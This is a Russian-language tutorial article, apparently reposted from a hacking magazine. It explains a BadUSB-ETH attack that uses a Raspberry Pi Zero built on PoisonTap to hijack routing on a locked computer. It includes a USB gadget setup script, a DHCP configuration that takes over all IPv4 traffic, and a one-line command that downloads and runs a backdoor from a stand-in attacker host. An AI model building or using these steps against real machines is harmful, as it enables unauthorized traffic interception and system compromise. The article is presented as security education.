| Категория >  Новости > Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH - «Новости» Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH - «Новости»23-02-2023, 00:00. Автор: Stevenson | 
| BadUSB-HID? Главное отличие в том, что рассматриваемую атаку можно реализовать на заблокированном компьютере. Кроме того, для проведения такой атаки не требуется скрытное и длительное подключение какого‑либо девайса, она позволяет атаковать цель за несколько минут. Ведь если ПК разблокирован, то можно реализовать более простую и действенную атаку из предыдущей статьи или просто набрать на клавиатуре команду скачивания и запуска бэкдора: msiexec /i https://attacker.tk/backdoor.msiВ итоге на «ручную» компрометацию оставленной без присмотра разблокированной персоналки потребуется всего три‑четыре секунды! Компьютеры сегодня повсюду, и торчащие наружу USB-порты можно увидеть достаточно часто. Неконтролируемый USB-порт в общественном месте Объектом атаки может стать заблокированный компьютер, оставленный без присмотра на короткое время, либо терминал, либо стенд с торчащим наружу USB-портом. infoЭта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак. Предыдущая статья серии: «Очень плохая флешка. Разбираем атаку BadUSB в деталях». 
 ТеорияПодключаемое устройство BadUSB-ETH определяется как сетевая карта Еthernet. На самом деле это не просто сетевая карта, а устройство, внутри которого полноценный компьютер со своей ОС. И мы реализуем достаточно хитрую цепочку из множества атак. По сути, это собственная, более узко заточенная реализация Bash Bunny от Hak5. А за основу мы возьмем открытый проект PoisonTap. Первое и самое главное — это то, как мы настраиваем сеть на атакуемой машине. В момент подключения интерфейс именно создается, а не поднимается. Это значит, что сразу после подключения ПК запросит настройки по DHCP (дефолтное поведение). В ответ на такой запрос наше устройство выдает не совсем обычную конфигурацию сети, при которой она станет приоритетной и перекроет все активные сетевые подключения на атакуемом компьютере. Достигается это через более короткие маски маршрутов: 0.0.0.0/0 via 10.10.0.1 <- исходный дефолтный маршрут, все пакеты изначально идут по нему0.0.0.0/1 via 1.0.0.1 <- наш маршрут, перекрывающий первые 50% IPv4-сетей128.0.0.0/1 via 1.0.0.1 <- второй маршрут, перекрывающий вторые 50% IPv4-сетей (маска короче, поэтому маршрут приоритетнее)Во всех современных ОС маршрутизация в IP-сетях строится по единому принципу: чем короче маска сети у маршрута, тем приоритетнее маршрут. Это главное правило маршрутизации. И в нашем случае маска  После применения таких настроек нового сетевого подключения все пакеты от других сетевых интерфейсов пойдут по новому маршруту — уже в наше хакерское устройство, и мы как бы «вытянем» весь трафик. Таким образом, мы сможем реально перехватывать весь сетевой трафик заблокированного устройства посредством обычного USB. Схематично атака представлена на рисунке ниже.  Схема атаки BadUSB-ETH Не стоит забывать, что мы установили и обычный сетевой канал взаимодействия с заблокированным ПК. Учитывая это, на целевой машине может быть запущен целый спектр сетевых атак, который зависит лишь от твоей фантазии: 
 Наконец, наше устройство является еще и «супершлюзом», поскольку сетевой трафик, включая и смежные сетевые интерфейсы, идет теперь через него. Находясь в позиции «легального MITM», мы можем запустить еще ряд атак, предназначенных для перехвата трафика: 
 
 РеализацияУстройство может быть реализовано на базе множества одноплатных решений. Наиболее легковесное и известное среди них — Raspberry Pi Zero (W). Эта плата не потребует дополнительного питания, необходимое напряжение берется от USB-порта компьютера. С целью индикации хода атак для простоты используем три светодиода со следующими ролями: 
 Большинство одноплатных ПК снабжены GPIO-пинами, с помощью которых можно подавать небольшое напряжение, необходимое для работы светодиодов.  Схема подключения светодиодов Соответственно, чтобы зажечь, а потом погасить светодиод, подключенный, например, к 26-му пину, потребуется выполнить следующие команды ОС внутри платы: raspi-gpio set 26 op dhsleep 1raspi-gpio set 26 op dlЭмуляция Ethernet-устройства, как и эмуляция других видов USB-девайсов, поддерживается непосредственно ядром Linux через так называемые USB-гаджеты. Очень красиво такую атаку продемонстрировал Сами Камкар (Sami Kamkar) в проекте под названием PoisonTap: git clone https://github.com/samyk/poisontapln -s~/poisontap /opt/poisontapИменно этот инструмент взят за основу, особенно в эмуляции сетевой карты, но с некоторыми улучшениями: /home/pi/poisontap/pi_startup.sh rmmod g_ethercd/sys/kernel/config/usb_gadget/mkdir -ppoisontapcd poisontapecho 0x0694 >idVendorecho 0x0005 >idProductmkdir -pstrings/0x409echo "Samy Kamkar" >strings/0x409/manufacturerecho "PoisonTap" >strings/0x409/product# RNDISmkdir configs/c.2echo "0xC0" >configs/c.2/bmAttributesecho "1" >configs/c.2/MaxPowermkdir configs/c.2/strings/0x409echo "RNDIS" >configs/c.2/strings/0x409/configurationecho "1" >os_desc/useecho "0xcd" >os_desc/b_vendor_codeecho "MSFT100" >os_desc/qw_signmkdir functions/rndis.usb0echo "42:61:64:55:53:45" >functions/rndis.usb0/dev_addrecho "48:6f:73:74:50:44" >functions/rndis.usb0/host_addrecho "RNDIS" >functions/rndis.usb0/os_desc/interface.rndis/compatible_idecho "5162001" >functions/rndis.usb0/os_desc/interface.rndis/sub_compatible_idln -sfunctions/rndis.usb0 configs/c.2ln -sconfigs/c.2 os_descls/sys/class/udc > UDCmodprobe g_ethersleep 10ifup usb0ifconfig usb0 up/sbin/route add -net0.0.0.0/0 usb0/etc/init.d/isc-dhcp-server restart/sbin/sysctl -wnet.ipv4.ip_forward=1#/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j REDIRECT --to-port 1337#/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53#/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/pi_poisontap.jsiptables -t nat -APOSTROUTING -ousb0 -jMASQUERADEПоскольку атака кросс‑платформенная, требуется настройка эмуляции сразу двух составных USB-устройств: для сетевых карт RNDIS (Windows) и CDC (Unix). Перекрытие сетевых интерфейсов задается в файле  /etc/dhcp/dhcpd.conf subnet 0.0.0.0 netmask 128.0.0.0 {range 1.0.0.10 1.0.0.50;option broadcast-address 255.255.255.255;option routers 1.0.0.1;default-lease-time 600;max-lease-time 7200;option domain-name "local";option domain-name-servers 1.0.0.1;# send the routes for both the top and bottom of the IPv4 address spaceoption classless-routes 1,0,1,0,0,1, 1,128,1,0,0,1;option classless-routes-win 1,0,1,0,0,1, 1,128,1,0,0,1;}Перейти обратно к новости |